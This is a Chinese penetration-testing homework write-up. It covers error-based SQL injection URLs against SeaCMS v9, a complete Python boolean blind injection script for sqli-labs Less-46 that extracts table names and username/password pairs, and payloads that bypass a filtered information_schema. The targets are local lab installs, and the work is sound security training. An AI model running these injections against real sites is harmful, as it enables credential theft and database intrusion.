渗透第二次作业

1、seacmsv9报错注入出管理员账号密码

注入漏洞的文件路径:seacmsv9.1\upload\comment\api\index.php

注入点:&$rlist

经源代码分析,可用以下语句注入,得到用户名:

http://127.0.0.1/seacmsv9.1/upload/comment/api/index.php?gid=1&page=2&rlist\[\]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20user()))),@`%27`

用以下语句注入出数据库名:

http://127.0.0.1/seacmsv9.1/upload/comment/api/index.php?gid=1&page=2&rlist\[\]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20database()))),@`%27`

用以下语句注入出表名:

http://127.0.0.1/seacmsv9.1/upload/comment/api/index.php?gid=1&page=2&rlist\[\]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%23%0atable_name%20from%23%0ainformation_schema.tables%20where%20table_schema%20=0x736561636d73%20limit%200,1))),@`%27`

结果注入失败

2、orderby的布尔盲注

布尔盲注:

bash 复制代码
import requests
from lxml import html


def get_id_one(URL, paload):
    res = requests.get(url=URL, params=paload)
    tree = html.fromstring(res.content)
    id_one = tree.xpath('//table//tr[1]/td[1]/text()')[0].strip()
    return id_one

# 获取数据库名
def database(URL):
    dataname = ""
    for i in range(1, 10):
        low = 32
        hight = 128
        mid = (low + hight) // 2
        while (hight > low):
            paload = {
                "sort": f"if((greatest(ascii(substr(database(),{i},1)),{mid})={mid}),id,username) -- "}
            id_one = get_id_one(URL, paload)
            if id_one == "1":
                hight = mid
                mid = (low + hight) // 2
            else:
                low = mid + 1
                mid = (low + hight) // 2
        dataname += chr(mid)
    print(dataname)


# 获取表名
def table_name(URL):
    tables = ""
    for i in range(1, 40):
        low = 32
        hight = 128
        mid = (low + hight) // 2
        while (hight > low):
            paload = {
                "sort": f"if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\"security\"),{i},1))>{mid}),id,username) -- "}
            id_one = get_id_one(URL, paload)
            if id_one == "1":
                low = mid + 1
                mid = (low + hight) // 2
            else:
                hight = mid
                mid = (low + hight) // 2
        tables += chr(mid)
    print(tables)


# 获取字段名
def column_name(URL):
    columns = ""
    for i in range(1, 25):
        low = 32
        hight = 128
        mid = (low + hight) // 2
        while (hight > low):
            paload = {
                "sort": f"if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=\"security\" and table_name=\"users\"),{i},1))>{mid}),id,username) -- "}
            id_one = get_id_one(URL, paload)
            if id_one == "1":
                low = mid + 1
                mid = (low + hight) // 2
            else:
                hight = mid
                mid = (low + hight) // 2
        columns += chr(mid)
    print(columns)


# 获取数据
def datas(URl):
    data = ""
    for i in range(1, 50):
        low = 32
        hight = 128
        mid = (low + hight) // 2
        while (hight > low):
            paload = {
                "sort": f"if((ascii(substr((select group_concat(username,0x3e,password) from users),{i},1))>{mid}),id,username) -- "}
            id_one = get_id_one(URL, paload)
            if id_one == "1":
                low = mid + 1
                mid = (low + hight) // 2
            else:
                hight = mid
                mid = (low + hight) // 2
        data += chr(mid)
    print(data)


if __name__ == '__main__':
    URL = "http://127.0.0.1/sqlilabs/Less-46/index.php"
    database(URL)
    table_name(URL)
    column_name(URL)
    datas(URL)

结果:

3、过滤information_schema,如何解决
bash 复制代码
如果information_schema被过滤掉了,该如何查询数据

方法一:利用sys数据库

查看所有数据库名:
SELECT DISTINCT table_schema FROM sys.schema_table_statistics;

查看数据库中所有表名:
SELECT table_name FROM sys.schema_table_statistics WHERE table_schema = 'seacms';


#sys.schema_auto_increment_columns 
#sys.schema_table_statistics_with_buffer
#mysql.innodb_table_stats
#mysql.innodb_table_index
#均可代替 information_schema


方法二:无列名注入

利用 join-using 注列名

获取表名:
?id=-1' union select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()--+

获取字段名:
?id=-1' union select * from (select * from users as a join users as b)as c--+
?id=-1' union select * from (select * from users as a join users b using(id,username))c--+
?id=-1' union select * from (select * from users as a join users b using(id,username,password))c--+
相关推荐
奈落248 小时前
AI辅助的另一面:从2026年国际AI安全报告的“故障”清单到国内专家的可靠性短板,自主行动的Agent为什么更难及时干预
人工智能·安全·agent·本地部署·ai 办公
赛博守夜人13 小时前
AI安全攻防与治理之十六:对抗样本、恶意文件与多模态攻击,AI 内容安全检测的真实盲区
人工智能·安全
ZEB110615 小时前
首届安全应急救援机器人大赛在广州举办 深圳璇玑动力斩获多项冠军
安全·机器人·消防
未来之窗软件服务17 小时前
WAF负载均衡+蜜罐混淆安全体系-东方仙盟
运维·安全·负载均衡·仙盟创梦ide·东方仙盟·阿雪技术观·网关开发
高德开放平台18 小时前
构建“车-云-端”安全闭环:新大洲本田通过高德开放平台接入“鹰眼守护预警系统”
安全
dora19 小时前
接口被疯狂调用怎么办?聊聊接口限流
后端·安全
国科安芯19 小时前
长期在轨的计算底座:商业空间站与在轨服务飞行器健康管理中的抗辐射MCU—— 面向可维护空间平台的分层容错与安全通信综述
人工智能·单片机·嵌入式硬件·安全·低轨卫星·抗辐射
衡石科技20 小时前
让多轮问数保持口径一致:Data Agent 的上下文、偏好与学习开关
人工智能·学习·安全
用户7908600572621 小时前
扫出 176 个「危险代码」,结果一个都不用删:我的静态安检门禁
安全
武天旭1 天前
AI安全--AI大模型的关键技术组成
人工智能·深度学习·安全·机器学习